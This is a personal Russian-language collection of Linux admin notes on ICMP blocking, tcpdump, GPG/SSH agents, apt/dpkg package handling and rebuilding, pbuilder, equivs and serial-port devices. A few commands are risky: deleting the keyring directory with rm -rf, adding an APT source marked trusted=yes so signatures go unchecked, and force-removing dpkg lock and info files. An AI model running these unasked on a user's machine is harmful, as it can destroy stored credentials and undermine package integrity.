Ну и более кошерный способ на машинках с нестабильным аптаймом (запускать именно от рута):
root@host:~# echo "net.ipv4.icmp_echo_ignore_all=1" >> /etc/sysctl.conf
И применим правило:
root@host:~# sysctl -p

Чтобы обратно всё вернуть — замените 1 на 0 в последней строке и сделайте sysctl -p. После ребута правила из sysctl.conf поднимутся.

Если вы всё же упрямый и вам хочется сделать это через iptables, то:
root@host:~# iptables -A INPUT -p icmp –icmp-type 8 -j DROP

Хотя у iptables есть и полезное применение в этом направлении. Чтобы запретить пинги на интерфейс eth0:
root@host:~# iptables -A INPUT -i eth0 -p icmp –icmp-type 8 -j DROP

Исходящие пинги при всём этом работают отлично.


https://wiki.dieg.info/tcpdump
tcpdump -i enp3s0 -n -s 0 port 5060 -vvv -w /home/user/file
tcpdump port 80 or port 3128
tcpdump -A -vv -i enp3s0 ip dst 172.16.0.1
tcpdump -vv -nn -e -XX -i enp3s0 ip dst 172.16.0.1
echo "hello" > /dev/udp/172.16.0.1/22
echo "hello" > /dev/tcp/172.16.0.1/80

21 пример использования iptables для администраторов.

Команда для очистки ARP кэша в Linux
ip neig flush all

Команда для очистки DNS кэша в Linux
systemd-resolve --flush-caches
systemctl restart systemd-resolved


Приватность
https://incenp.org/notes/2015/gnupg-for-ssh-authentication.html

Разблокировка связки ключей.
$ rm -rf ~/.local/share/keyrings/

редактирование ключа
$ gnupg --edit-key <ключ> passwd

запуск запоминалки
$ gpg-connect-agent /bye

вручную остановить работающий агент
$ gpgconf --kill gpg-agent
$ killal gpg-agent

SSH keys
Перечислить автоматически загруженные ключи:
$ ssh-add -L
Отключить все ключи:
$ ssh-add -D

старый рецепт
добавить в .profile или .bashrc или .xsessionrc (по вкусу)
#   запоминалка паролей для GnuPG
#
if [ -z "$(ps -u gor | grep gpg-agent)" ]
    then rm $HOME/.gnupg/S.gpg-agent
    /usr/bin/gpg-agent --daemon --use-standard-socket > /dev/null
    echo gpg-agent started
fi


сейчас достаточно
$ sudo apt install seahorse


Оформление


Сайты
https://www.opendesktop.org/
http://debian-art.org/
https://debianforum.ru/index.php?board=45.0
Подборка сайтов с темами оформления KDE, Gnome, XFCE, Qt, GTK и тд

Обои
просмотр и конвертация .webp

https://www.wallpaperbetter.com/en/hd-wallpaper-etfdz
https://www.wallpapertip.com/wpic/mTooox_debian-gnu-linux/
https://wallpaper-house.com/group/debian-wallpaper/index.php
https://www.wallpaperflare.com/search?wallpaper=debian
https://www.desktopnexus.com/search/debian/
http://www.73lab.com/distant_file/dessins/wallpaper/02_ayo-debian-theme_1280_1024.png
http://www.73lab.com/distant_file/dessins/wallpaper/01_ayo-debian-theme_1280_1024.png
http://www.73lab.com/distant_file/dessins/wallpaper/01_debian_expo_1280_1024.png
http://www.73lab.com/distant_file/dessins/wallpaper/01_debian_chrome_1280_1024.png


ubuntu 16.04 и напильник


кратко
глянуть пакеты
https://www.debian.org/distrib/packages
http://packages.ubuntu.com/
https://pkgs.org/

содержимое пакетов
https://sources.debian.org/

размер пакетов
apt install debian-goodies
dpigs -n 40 -H

установить набор пакетов
tasksel
установка пакета backports из командной строки
apt-get -t jessie-backports install chromium

установленные пакеты
dpkg --get-selections
dpkg --list
dpkg-query -l '*' | grep '^ii' | awk '{ print $2 }'

все зависимости пакета:
apt-cache showpkg пакет
apt show -a пакет
sudo apt-get install apt-rdepends
sudo apt-rdepends пакет
визуально отобразить
sudo apt-get install graphviz
sudo apt-rdepends -d пакет | dot > пакет.dot
dotty пакет.dot

удалить пакеты с зависимостями:
# apt-get install deborphan
# deborphan | xargs dpkg —purge
# dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg —purge

сохранить пакеты
sudo apt-get install dpkg-repack
sudo dpkg-repack название_пакета

перечислить все доступные пакеты
apt-cache pkgnames |sort

перечислить все пакеты, начинающиеся с «ПАКЕТ»
apt-cache pkgnames ПАКЕТ

в каком пакете содержится файл
apt-file search ИМЯ-ФАЙЛА
dpkg -S $(which -a ИМЯ-ФАЙЛА)


подробней

Все управление пакетами в Debian происходит с помощью следующих простых команд.

Обновление базы доступных пакетов:
sudo apt-get update

Пакеты можно искать через веб-интерфейс или с помощь команды:
apt-cache search mysql | less

Просмотр дополнительной информации о пакете:
apt-cache show mysql-server

Получения списка доступных версий пакета:
apt-cache madison postgresql

Установка пакета:
sudo apt-get install имя_пакета

… или, в случае всяких там Dropbox, Skype и тп:
sudo dpkg -i dropbox_1.4.0_i386.deb

Переустановка пакета:
sudo apt-get install --reinstall имя_пакета

Даунгрейд или установка определенной версии:
sudo apt-get install имя_пакета=версия

Если не переустанавливается, можно попробовать так (осторожно, временно ломаются зависимости):
sudo dpkg --purge --force-depends имя_пакета
sudo apt-get install имя_пакета

Обновление всех пакетов (с подробностями):
sudo apt-get -V upgrade

Запретить/разрешить обновление конкретного пакета:
sudo apt-mark hold имя_пакета
sudo apt-mark unhold имя_пакета

Посмотреть список пакетов на холде:
sudo dpkg --get-selections | grep hold

Проверка контрольных сумм установленных пакетов:
sudo dpkg --verify

Список установленных пакетов и поиск по нему:
dpkg -l | grep firefox

Удаление пакета:
sudo apt-get remove firefox

Удаление вместе с файлами конфигурации:
sudo apt-get purge firefox

Удаление пакетов, которые были установлены в качестве зависимостей и более не требуются:
sudo apt-get autoremove # --purge для удаления конфигов

Чистка кэша deb-пакетов (каталог /var/cache/apt/archives/):
sudo apt-get clean

Просмотр логов — что и когда ставилось:
/var/log/dpkg.*
grep installed /var/log/dpkg.log

Иногда нужно определить, к какому пакету относится файл. Данную задачу можно решить так:
dpkg -S /usr/bin/pstree

А еще можно получить список всех файлов, содержащихся в пакете:
dpkg-query -L package_name

В общем, все легко и просто, если не считать пары моментов. Во-первых, иногда требуется установить какой-нибудь экспериментальный пакет (из ветки sid). Для этого нужно открыть файл /etc/apt/sources.list и дописать в него строчку:

deb http://ftp.ru.debian.org/debian sid main

… после чего говорим «sudo apt-get update», ставим нужный пакет, удаляем строчку из sources.list и вновь говорим «sudo apt-get update».
Во-вторых, некоторые пакеты тянут за собой слишком много лишнего софта. Например, mail-notifications тянет за собой postfix и требует его настроить. Для решения это проблемы следует прописать в /etc/apt/apt.conf следующее:

APT::Install-Recommends "0";

После чего все должно пройти как по маслу:
sudo apt-get update
sudo apt-get install mail-notification

Альтернативное решение, не требующее правки apt.conf:
sudo apt-get --no-install-recommends install mail-notification

Бывает еще так, что нужно создать резервную копию уже установленного пакета. Например, если он по каким-то причинам был удален из репозитория. Такое иногда бывает в случае со внутренними репозиториями компании. Решается эта проблема так:

sudo apt-get install dpkg-repack
sudo dpkg-repack имя_пакета

Из приятных фишек Debian/Ubuntu мне особенно хотелось бы отметить умение выводить суммарный размер пакетов при их установке/удалении, а также способность делать так:

$ dia
Приложение 'dia' может быть найдено в следующих пакетах:
* dia-gnome
* dia
Попробуйте: sudo apt-get install <выбранный пакет>

Чтобы такая же фишка появилась в zsh, нужно прописать в ~/.zshrc:

command_not_found_handler() {
  /usr/lib/command-not-found $1
}


Работа с пакетами исходных текстов

Сборка пакета в среде стабильного дистрибутива обечпечит генерацию .deb с зависимостями, соответствующими пакетам, доступным в дистрибутиве.

Для этого запись deb-src в вашем файле /etc/apt/sources.list должна указывать на нестабильный дистрибутив. Она должна быть разрешена (раскомментирована).
Для скачивания пакетов исходных текстов рекомендуется использовать команду:

$ apt-get source packagename

Команда должна скачать три файла: .orig.tar.gz, .dsc и .diff.gz. В случае, если пакеты создавались исключительно для Debian, последний из них не скачивается и первый файл не имеет вставки "orig" в своем имени.

Файл .dsc пользуется командой dpkg-source для распаковки пакета исходных текстов в каталог packagename-version. Внутри каждого скачанного пакета исходных текстов есть каталог debian/, который содержит файлы, необходимые для создания пакета .deb.

Для автоматического построения пакета из скачиваемых исходных текстов просто укажите ключ -b в командной строке, примерно так:

$ apt-get -b source имяпакета

Если вы рашаете не создавать .deb при скачивани, то вы можете создать его позже командой:

$ dpkg-buildpackage -rfakeroot -uc -b

из каталога, который был создан для пакета после скачивания.

для того, чтобы пакет можно было собрать, нужны некоторые заголовочные файлы и совместно-используемые библиотеки. Все пакеты исходных текстов имеют в своих управляющих файлах поле 'Build-Depends:', которое указывает дополнительные пакеты, которые необходимы для построения пакета из исходных текстов.

APT имеет простой метод скачивания этих пакетов. Просто запустите apt-get build-dep package, где `package' - это имя пакета, который вы собираетесь построить

apt-get build-dep имяпакета

краткая справка:


apt-get

apt-get update - обновление базы пакетов
apt-get upgrade - обновление всех установленных пакетов
apt-get install название_пакета - установить пакет
apt-get purge название_пакета - полное удаление (не удаляет файлы в дом каталоге)
apt-get remove название_пакета - удаление с сохранением его конфигурационных файлов
apt-get check - узнать о конфликтующих пакетах, а также поломанных зависимостях пакетов
apt-get -f install название_пакета - исправить нарушенные зависимости
apt-get -h - справка

dpkg

dpkg -l - отобразить список всех установленных пакетов
dpkg -l | grep name - отобразить список всех установленных пакетов, в названии которых есть "name"
dpkg -S /bin/ping - найти пакет, в который входит указанный файл
dpkg -s название_пакета - отобразить информацию по конкретному пакету
dpkg -i /путь/к/пакету/название_пакета. deb - установить или обновить пакет
dpkg -i *.deb - установка всех deb пакетов из текущей папки
dpkg -r название_пакета - удалить пакет, но сохранить файл конфигурации
dpkg -P название_пакета - удалить пакет и удалить файл конфигурации
dpkg -h - справка
dpkg-reconfigure


aptitude

aptitude update - обновление базы пакетов
aptitude upgrade - обновление всех установленных пакетов
aptitude full-upgrade - обновление системы

aptitude search название_пакета - поиск пакета

Значения основного статуса:

* i (от installed) - пакет установлен в системе:
* p (от purge) - пакет не был установлен или был удален "вчистую";
* c (от clean) - пакет, удаленный с сохранением конфигурационных файлов;
* v (от virtual) - т. н. виртуальные пакеты, то есть просто списки реальных пакетов, один из которых будет использоваться в той или иной ситуации.

Дополнительный статус:

* A (от Auto) - пакет был установлен не самостоятельно, а автоматически, как зависимость другого пакета;
* h (от hold) - для пакета зафиксирована его текущая версия, то есть он не будет обновляться при выполнении операторов upgrade и dist-upgrade;
* u (от unpacked) - пакет был получен, распакован, но не инкорпорирован в файловую систему и не сконфигурирован;
* C (от half-Configured) - пакет, установка которого оборвалась на стадии конфигурирования;
* H (от Half-installed) - пакет, установка которого оборвалась на стадии инсталляции;
* B (от Broken) - т. н. "сломанные" пакеты - то есть содержащие ошибки внутри себя или утратившие свои зависимости.

aptitude show название_пакета - информация о пакете
aptitude install название_пакета - установка/обновление пакета
aptitude remove название_пакета - удаление с сохранением его конфигурационных файлов
aptitude purge название_пакета - полное удаление (не удаляет файлы в дом каталоге)
aptitude purge ~c - удаление кофигурационных файлов удалённых пакетов
aptitude remove или aptitude purge "~name" - удалить все пакеты имеющие в своём названии "name"
aptitude autoclean - удалить неиспользуемые пакеты из кэша
aptitude clean - удалить все пакеты из кэша
Полезные опции:
-h справка
-s ничего не делать, имитировать выполнение
-d только загрузить - не устанавливать и не распаковывать архивы
-y предполагается ответ Yes на все вопросы, сами вопросы не выводить
-f принудительно исправлять неработоспособные пакеты
-u показывать список обновленных пакетов

некоторые рецепты



dpkg --get-selections | grep -v deinstall > backup.txt
sudo dpkg --set-selections < backup.txt
sudo apt-get -y update
sudo apt-get dselect-upgrade

tac /var/log/apt/history.log |head --lines=225
tail -n 125 /var/log/apt/history.log
dpkg --get-selections | sed -n 's/\t\+install$//p'
dpkg -l | grep ^rc | awk '{print($2)}' | xargs sudo apt-get -y purge

приоритет установки пакетов:
https://wiki.debian.org/ru/AptPreferences
https://www.debian.org/doc/manuals/apt-howto/ch-apt-get.ru.html
https://www.opennet.ru/openforum/vsluhforumID3/120590.html#43

Значения веса приоритета могут быть следующими:
P >= 1000 - пакет будет установлен, даже если это приведет к понижению версии уже установленного пакета
990 <= P < 1000 - пакет будет установлен, если не установлена более новая версия
500 <= P < 990 - пакет будет установлен, если нет пакета принадлежащего к целевому выпуску или не установлена более новая версия
100 <= P < 500 - пакет будет установлен, если нет кандидатов из других источников или установленного пакета более новой версии
0 < P < 100 - пакет будет установлен, если нет других кандидатов и установленных пакетов любой версии
P < 0 - пакет не будет установлен ни при каких условиях
P = 0 - неопределенное состояние, не используется

ONE of theese files content:
1. nano /etc/apt/preferences
2. mcedit /etc/apt/preferences.d/security.pref

## STABLE ###############

Package: *
Pin: release a=debian-security
Pin-Priority: 1001

Package: *
Pin: release a=stable
Pin-Priority: 900

Package: *
Pin: release a=stretch-backports
Pin-Priority: 800

Package: *
Pin: release a=testing
Pin-Priority: 700

Package: *
Pin: release a=unstable
Pin-Priority: 500

Package: *
Pin: release a=experimental
Pin-Priority: 100

Package - на какие пакеты распространяется приоритет. Звёздочка говорит что на все без исключения.
Pin - название ветки дистрибутива.
Pin-priority - собственно, приоритет. Чем он выше - тем жёстче будет закреплена ветка. Приоритет выше 1000 позволит произвести даунгрейд пакетов до той ветки, в которой он установлен. Потому если вы переборщили с экспериментами - выставляйте на stable приоритет 1001, обновляйте список пакетов и делайте dist-upgrade.

Как мы видим, репозиторий unstable у нас имеет наименьший приоритет. Возможно он вам не понадобится, но включить его нужно по той причине, что бывает программу переместили в testing, а часть её зависимостей осталась в unstable. И программа, естественно, не установится.

Просмотр логов — что и когда ставилось:
https://system-admins.ru/kak-uznat-kogda-ustanovlen-ili-obnovlen-paket-debian-ili-ubuntu/
/var/log/dpkg.*

Список пакетов по дате установки
tail -f /var/log/dpkg.log
less /var/log/dpkg.log
more /var/log/dpkg.log

/var/log/dpkg.log может быть ротирован или сжат с использованием Logrotate инструмента. Для просмотра списка всех файлов, введите:
ls -l /var/log/dpkg.log*

Используйте команду zgrep или zmore чтобы просматривать файлы gzip:
zmore /var/log/dpkg.log.4.gz
zless /var/log/dpkg.log.4.gz
zgrep 'remove' /var/log/dpkg.log.4.gz

Просмотреть дату и время установки пакетов
grep installed /var/log/dpkg.log

Аналогично для архивного файла
zgrep installed /var/log/dpkg.log.4.gz

Просмотреть дату и время обновления пакетов
grep upgrade /var/log/dpkg.log
grep upgrade /var/log/dpkg.log.2
zgrep upgrade /var/log/dpkg.log.3.gz

Просмотреть дату и время удаленных пакетов
grep remove /var/log/dpkg.log
grep remove /var/log/dpkg.log.2
zgrep remove /var/log/dpkg.log.3.gz

/var/log/apt/history.log
Файл var/log/apt/history.log также содержит некоторую полезную информацию

tail -f /var/log/apt/history.log
more /var/log/apt/history.log
less /var/log/apt/history.log
grep -A4 -B4 'yyyy-mm-dd' /var/log/apt/history.log
grep -A4 '2016-01-14' /var/log/apt/history.log

Результат
Start-Date: 2016-01-15 14:17:15
Commandline: apt-get upgrade
Upgrade: isc-dhcp-common:amd64 (4.2.4-7ubuntu12.3, 4.2.4-7ubuntu12.4), isc-dhcp-client:amd64 (4.2.4-7ubuntu12.3, 4.2.4-7ubuntu12.4)
End-Date: 2016-01-15 14:17:25

манипуляции с пакетами на примере Viber
https://linuxthebest.net/kak-vse-taki-ustanovit-viber-v-debian-gnu-linux-i-ubuntu/
sudo dpkg -i viber.deb
sudo apt install -f
Она должна была бы доустановить недостающие зависимости, но сейчас просто удалит криво установленый Viber, потому что он нам ни к чему.

Открываем терминал в каталоге с пакетом «viber.deb» и поочередно выполняем:
dpkg-deb -x viber.deb viber
dpkg-deb --control viber.deb viber/DEBIAN

ищем в долгом списке после слова «Depends:» libcurl3 и перепечатываем на libcurl4
внимание — очень важный шаг, без которого метод не сработает. Обязательно нужно удалить пустую строку в этом же файле. Она прячется в самом конце. сохраните документ и вернитесь обратно в терминал
dpkg -b viber viberlibcurl4.deb

Менеджер dpkg создаст пакет «vibercurl4.deb». Тепер его можно установить любым способом. Например, так:
sudo dpkg -i viberlibcurl4.deb

ещё способ (как пример сборки пакета)
Откройте консоль и выполните там несколько команд.
Первой командой мы устанавливаем зависимости:
sudo apt install libxss1 `apt-cache search libssl1.0.[0-9] | awk '{ print $1 }'` libpulse0 libasound2 libnss3 libxcomposite1 libxcursor1 libxdamage1 libcurl4 libgstreamer-plugins-base1.0-0 libgstreamer1.0-0 gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-ugly gstreamer1.0-pulseaudio gstreamer1.0-libav libssl1.0-dev

Скачиваем сам пакет:
wget https://download.cdn.viber.com/cdn/desktop/Linux/viber.deb

Распаковываем скаченный пакет deb:
ar x viber.deb

Распаковываем контрольный архив:
tar xzf control.tar.gz

Делаем крошечный патч: меняем libcurl3 на libcurl4 в файле control. Дело в том, что libcurl3 — это устаревшая версия библиотеки и она больше недоступна в репозиториях, так как заменена версией libcurl4 Дополнительно мы меняем запись libssl1.0.0 на ту версию пакета, которая доступна в системе:
sed -i 's/libcurl3/libcurl4/' ./control
sed -i "s/libssl1.0.0/`apt-cache search libssl1.0.[0-9] | awk '{ print $1 }'`/" ./control

Вот и всё — мы пропатчили всё что нужно, теперь осталось собрать пакет обратно.
tar --ignore-failed-read -cvzf control.tar.gz pre{inst,rm} postinst md5sums control

Вновь собираем deb:
ar rcs viber_fixed.deb debian-binary control.tar.gz data.tar.xz

Устанавливаем наш пофиксенный пакет:
sudo dpkg -i viber_fixed.deb

Как установить пакет, для которого отсутствует зависимость нужной версии

получить полный список всех зависимостей пакета
Как скачать рекурсивные зависимости пакета в Ubuntu
Как получить список зависимостей пакета с «под зависимостями» в APT или dpkg?

PKG=название_пакета

Перечислить все рекурсивные зависимости:

apt-rdepends $PKG




вывести рекурсивные зависимости в столбики:



скачать пакет вместе со всеми рекурсивными зависимостями:



перейти в папку и установить:
$ sudo dpkg -i *

создать индекс загруженных пакетов, перейдите в расположение, в котором хранятся пакеты, и выполните следующую команду:
$ dpkg-scanpackages . | gzip -c9 > Packages.gz

Добавьте эту папку в список источников APT, используя следующую команду:
$ echo "deb[trusted=yes] file:///путь_к_каталогу/с_пакетом ./" | sudo tee -a /etc/apt/sources.list

Обновите индекс пакета, используя команду:
$ sudo apt-get update

Наконец, установите пакет $PKG с помощью менеджера пакетов APT:
$ sudo apt-get install $PKG

ошибки
Невозможно инициализировать соединение с debian.map.fastlydns.net:80 (2a04:4e42:14::644). - connect (101: Сеть недоступна) Не удалось соединиться с debian.map.fastlydns.net:80 (151.101.86.132): время ожидания для соединения истекло

https://www.reddit.com/r/linux4noobs/comments/13y8wk7/facing_issue_0_connecting_to/
0% [Соединение с debian.map.fastlydns.net (2a04:4e42:14::644)] [Соединение с debian.map.fastlydns.net (2a04:4e42:14::644)] [Ожидание заголовков]
это происходит из-за ограничения fup моего провайдера

https://www.linux.org.ru/forum/general/16900016
Репозиторий «http://ftp.ru.debian.org/debian-security bookworm Release» не содержит файла Release.
в местной сетке оборудование в режиме MiM, подменяет траффик
Пропиши https://ftp.debian.org/debian в своём репозитории (https вместо http)

при установке dpkg -i
dpkg: ошибка при обработке пакета название_пакета (--install):
проблемы зависимостей — оставляем не настроенным
делаем
apt install -f
dpkg --configure -a

снятие блокировки apt-get
sudo fuser /var/cache/debconf/config.dat
kill -9 №такой_то
sudo dpkg --configure -a
sudo apt-get -f install

«Could not get lock /var/lib/dpkg/lock»
Устранение ошибки «Could not get lock /var/lib/dpkg/lock»
ps aux | grep -i apt
sudo killall apt apt-get

lsof покажет каким процессом используется lock-файл.

sudo lsof /var/lib/dpkg/lock
sudo lsof /var/lib/dpkg/lock-frontend
sudo lsof /var/lib/apt/lists/lock
sudo lsof /var/cache/apt/archives/lock
sudo kill -9 ID_процесса

удалить файл блокировки следующими командами.
sudo rm /var/lib/dpkg/lock
sudo rm /var/lib/dpkg/lock-frontend

ошибка блокировки apt-cache, такой как /var/cache/apt/archives/lock, удалите файл блокировки,
sudo rm /var/lib/dpkg/lock
sudo rm /var/cache/apt/archives/lock

затем перенастроить dpkg и очистите локальный репозиторий от любых остатков, которые могли сохраниться в файле /var/cache.
sudo dpkg --configure -a
sudo apt clean


Как исправить ошибку «E: Sub-process /usr/bin/dpkg returned an error code (2)»

Для начала попробуйте выполнить следующие команды:
sudo rm /var/lib/dpkg/available
sudo touch /var/lib/dpkg/available
sudo sh -c 'for i in /var/lib/apt/lists/*_Packages; do dpkg --merge-avail "$i"; done'

И вновь повторите операцию (установку или обновление), которая вызывала ошибку.
Если предыдущие команды не помогли, то попробуйте следующие:

sudo dpkg --configure -a
sudo apt -f install
sudo apt clean
sudo apt update && sudo apt-get upgrade

Если и это не помогло, то присмотритесь внимательно к ошибке — упоминается ли в ней имя какой-либо программы (пакета)? Если да то перейдите в директорию /var/lib/dpkg/info
cd /var/lib/dpkg/info

Теперь удалите файлы ПАКЕТА, который вызывает ошибку:
sudo rm ПАКЕТ*

Вновь запускаем команду исправления:
sudo apt install -f && sudo dpkg --configure -a

Затем устанавливаем пакет по новой.
Если проблема по-прежнему осталась, то запускаем команду в режиме отладки и смотрим на выводимые сообщения:
sudo DEBCONF_DEBUG=developer apt install -f


Создаём свой репозиторий с deb-пакетами
dpkg-scanpackages
Создание deb-пакетов. Первые шаги в PPA
Пересобираем mc с поддержкой samba
fakeroot dpkg-deb --build пакет

Как конвертировать пакеты в Ubuntu, используя Alien

https://fpm.readthedocs.io/en/latest/
https://github.com/jordansissel/fpm

pbuilder
http://devhead.ru/read/pbuilder
pbuilder — это интересное средство, позволяющее нам создать архив, хранящий в себе образ свежеустановленной Debian или Ubuntu в минимальной комплектации — то есть, только с самыми необходимыми пакетами.

Настройка
Для начала создаем файл конфигурации ~/.pbuilderrc. Вот его примерное содержимое:
# названия дистрибутивов Ubuntu
#UBUNTU_SUITES=("karmic" "jaunty" "intrepid" "hardy" "gutsy")
#MIRRORSITE="http://mirror.yandex.ru/ubuntu/"
# компоненты дистрибутива по умолчанию
COMPONENTS="main restricted universe multiverse"

# выбираем дистрибутив для использования
: ${DIST:="$(lsb_release --short --codename)"}

# а также архитектуру
: ${ARCH:="$(dpkg --print-architecture)"}

# ну и давайте определим имя, которым мы будем обозначать отдельный образ
NAME="$DIST"
if [ -n "${ARCH}" ]; then
NAME="$NAME-$ARCH"
# следующая строчка нужна для того чтобы собирать под разные архитектуры
DEBOOTSTRAPOPTS=("--arch" "$ARCH" "${DEBOOTSTRAPOPTS[@]}")
fi

# где мы будем создавать, а потом искать файл образа
BASETGZ="/home/andrey/build/pbuilder/$NAME-base.tgz"
DISTRIBUTION="$DIST"

# и куда мы будем класть собранные пакеты
BUILDRESULT="/home/andrey/build/pbuilder/$DIST/result/"

# тут у нас будет лежать кэш слитых из сети пакетов
APTCACHE="/home/andrey/build/pbuilder/$NAME/aptcache/"

# а в это место будет распаковываться образ для сборки
BUILDPLACE="/home/andrey/build/pbuilder/build/"

# еще можно раскомментировать следующие два параметра по необходимости:
# примонтировать каталог вашей системы в такой же каталог образа
#BINDMOUNTS="/var/cache/archive"
# подключить дополнительное зеркало помимо стандартного
#OTHERMIRROR="deb file:///var/cache/archive unstable main"

Файл конфигурации я взял здесь и закомментировал или удалил то что посчитал ненужным


Создание образа системы
Создать образ какой-нибудь системы можно например, так:

$ sudo ARCH=i386 DIST=jaunty pbuilder --create
Где i386 архитектура создаваемого образа, а jaunty название дистрибутива. Если вы собираете пакет под текущие дистрибутив и архитектуру то можно просто написать:

$ sudo pbuilder --create

Сборка пакетов
Для создания базового образа для архитектуры i386 под x86_64

/usr/sbin/pbuilder create --debootstrapopts --arch --debootstrapopts i386
Для сборки пакета для архитектуры i386 под x86_64
sudo DIST=karmic ARCH=i386 linux32 /usr/sbin/pbuilder build mypaint_0.7.1-2.dsc

Руководство по созданию пакетов Ubuntu!
PbuilderRussianDocumentation Pbuilder
PbuilderHowto
Сборка пакетов. Глава 3. Chroot. Mock. Pbuilder
Как собирать/бэкпорчить deb пакеты
Раздел полезных советов: Перекомпиляция пакета в Debian и Ubuntu
Стать мэинтейнером — часть пятая
Создание локального репозитария
ubuntu-вский apt-get update в pbuilder-е

Компиляция пакетов
1)Установим программу auto-apt командой
sudo apt-get install auto-apt
2)Командой cd переходим в директорию с распакованными исходниками и применяем команду
sudo auto-apt update && auto-apt -y run ./configure
Эта команда автоматически скачает и установит все необходимые файлы и библиотеки, т. е. удовлетворит все зависимости.
3)Теперь командой sudo checkinstall -D создадим deb-пакет, использующийся в дистрибутивах основанных на Debian, например Ubuntu.
4)Теперь этот пакет можно устанавливать: либо командой
sudo dpkg -i pocket_name.deb
Либо двойным щелчком по пакету.
5)Всё вышенаписанное применимо к основанным на Debian дистрибутивах.
Также если запустить sudo checkinstall -R получим rpm-пакет, применяемый в Fedora, RHEL, ASP Linux, ALT Linux, Mandriva, openSUSE.
Если же запустить sudo checkinstall -S получим пакет применяемый в Slackware.

auto-apt делает тоже, что и apt-get build-dep, но может использоваться и для пакетов, отсутствующих в репозитории.
auto-apt нужен только в том случае если такого пакета нет в репозиториях, иначе зависимости можно устанавливать просто через apt командой
apt-get build-dep имя-пакета

Как создать и установить фиктивный пакет
Как в Linux симулировать установку пакета (Как создать и установить фиктивный пакет)
Можно столкнуться с проблемой, что в системе отсутствует нужная зависимость. Выход из этой ситуации — установить фиктивный пакет.
Существует пакет Debian под названием equivs, которая может создавать фиктивные пакеты. Установите его, запустив
sudo apt install -y equivs

Из-за неразрешённых зависимостей я не смог установить пакет с equivs в проблемную ОС — для помощи я воспользовался другим компьютером.

После установки вы создайте файл «control» шаблона с помощью следующей команды:
equivs-control ИМЯ_ФАЙЛА

Например:
equivs-control qt5-default

Можно использовать альтернативное имя пакета, например postfix-custom для postfix или что-то ещё.
Откроем сгенерированный файл для редактирования:
gedit qt5-default

Пример содержимого в моём случае:



Строки с комментариями показывают, какие значения по умолчанию будут применены при создании пакета — можете удалить эти строки или раскомментировать и указать своё значение.

Также в строке «Package» впишите имя пакета, у меня получилось так:



С помощью строки «Provides» можно сказать, что мой пакет предоставляет возможности, предлагаемые другим пакетом, который я пытаюсь подделать.

Наконец, после создания файла управления шаблоном используйте команду equivs-build для создания поддельного пакета, например
equivs-build /ПУТЬ/ДО/СГЕНЕРИРОВАННОГО/КОНТРОЛЬНОГО/ФАЙЛА

В моём случае это:
equivs-build qt5-default

Сборка пакета займет несколько секунд, а затем вы можете запустить
sudo dpkg -i ИМЯ_ПАКЕТА*.deb

Например, в моём случае после переноса пакета на проблемную систему команда следующая:
sudo dpkg -i qt5-default_5.15.2_all.deb

После установки пакета работа менеджера пакетов пришла в норму — вновь возможно устанавливать и удалять пакеты, обновлять систему.
Для опытных пользователей, если ваш файл управления шаблоном имеет строку «Requires», вы можете создавать метапакеты, для установки группы программ.

ссылки
Руководство начинающего разработчика Debian
https://debian-handbook.info/browse/ru-RU/stable/
http://eax.me/debian-packages/
https://wiki.debian.org/ru/PackageManagement
https://www.debian.org/doc/manuals/apt-howto/ch-sourcehandling.ru.html
https://www.debian.org/releases/testing/mipsel/release-notes/ch-upgrading.ru.html
https://wiki.debian.org/ru/AptPreferences
Сборка deb-пакетов при помощи pbuilder
Стать мэинтейнером — часть пятая
Linux - начинающим. Часть 5. Управление пакетами в Debian и Ubuntu
[HOWTO] Сборка ПО и создание .deb-пакетов из исходников в Ubuntu (Debian)
Создание RPM или DEB пакетов с Checkinstall в Linux




Для работой с cisco по com-порту удобно пользоваться PuTTY, но необходимо дать права на пользование.
По умолчанию к устройствам /dev/tty* имеют доступ пользователи из группы «dialout». Посмотреть:

ls -al /dev/ttyS0
ответ

crw-rw---- 1 root dialout 4, 64 мая 5 07:42 /dev/ttyS0
можно увидеть, что доступ открыт для группы dialout

нужно добавить себя в эту группу:

sudo adduser <username> dialout
Перезагрузится.

случай сложнее, используется контроллер
Serial controller: MosChip Semiconductor Technology Ltd. PCI 9865 Multi-I/O Controller

usermod -a -G plugdev,dialout NameUser
id NameUser

lspci -v
lspci -nn
lspci -xvv

sudo dmidecode
dmesg | grep tty

sudo apt install setserial

setserial /dev/ttyS0 -a
setserial /dev/ttyS4 -a
setserial /dev/ttyS5 -a

stty -g -F /dev/ttyS0
stty -g -F /dev/ttyS4
stty -g -F /dev/ttyS5

stty -a < /dev/ttyS0
stty -a < /dev/ttyS4
stty -a < /dev/ttyS5

Стандартная скорость, бит/сек: 50,75,110,150,300,600,1200,1800,2000,2400,3600,4800,7200,9600,14400,19200,28800,38400,57600,115200
Проверка COM порта под linux
Установка minicom и подключение по консольному порту к коммутатору
Программирование COM порта


сканер штрихкодов
Silicon Labs CIPHERLAB 308 USB-to-RS232
https://forum.ubuntu.ru/index.php?topic=11431.0

lsusb -v
setserial -g /dev/ttyS*
sudo modprobe usbkbd
/dev/ttyUSB0

screen /dev/ttyUSB0 115200
screen -S session_name -X at window_number stuff ^C
screen -S session_name -X at window_number stuff $'\003'
screen -S session_name -X -p window_number stuff $'\003'

stty -a
lsof /dev/ttyUSB0
picocom --baud 115200 --flow n /dev/ttyUSB0
minicom -l -8 -c on
minicom -l -8 -c on -b 115200 -D /dev/ttyUSB0

http://ru.cipherlab.com/document.asp?id=1450

дисплей покупателя
Вывод информации на дисплей покупателя
Програмируем символы валют для дисплея покупателя
https://www.ascii-codes.com/cp866.html
http://docs.artix.su/display/ArtixDoc46/Epson

настройка дисплея
обязательно разрешить переключение кодовой страницы

Дисплей покупателя: Epson
Параметры подключения:
порт: /dev/ttyS1
Кодовая страница: cp866
Переключать кодовую страницу: вкл
Ширина строк: 20
Задержка сообщений: 0


Для начала работы инициализируем дисплей покупателя очистив память и экран индикации командой ESC @:
$ echo -n -e \\x1B\\x40 > /dev/ttyUSB0

стандартная проверка:
$ echo -n -e Hello, world!\\n > /dev/ttyUSB0

Отображение

Для индикации в дисплеях покупателя используется VFD или LCD панель обычно содержащая 2-е строки по 20 символов. Каждый символ в зависимости от модели дисплея может состоят из матрицы от 5*7 до 8*8 точек. Для данного примера используется дисплей с размером символа 5 точек по горизонтали и 7 точек по вертикали.

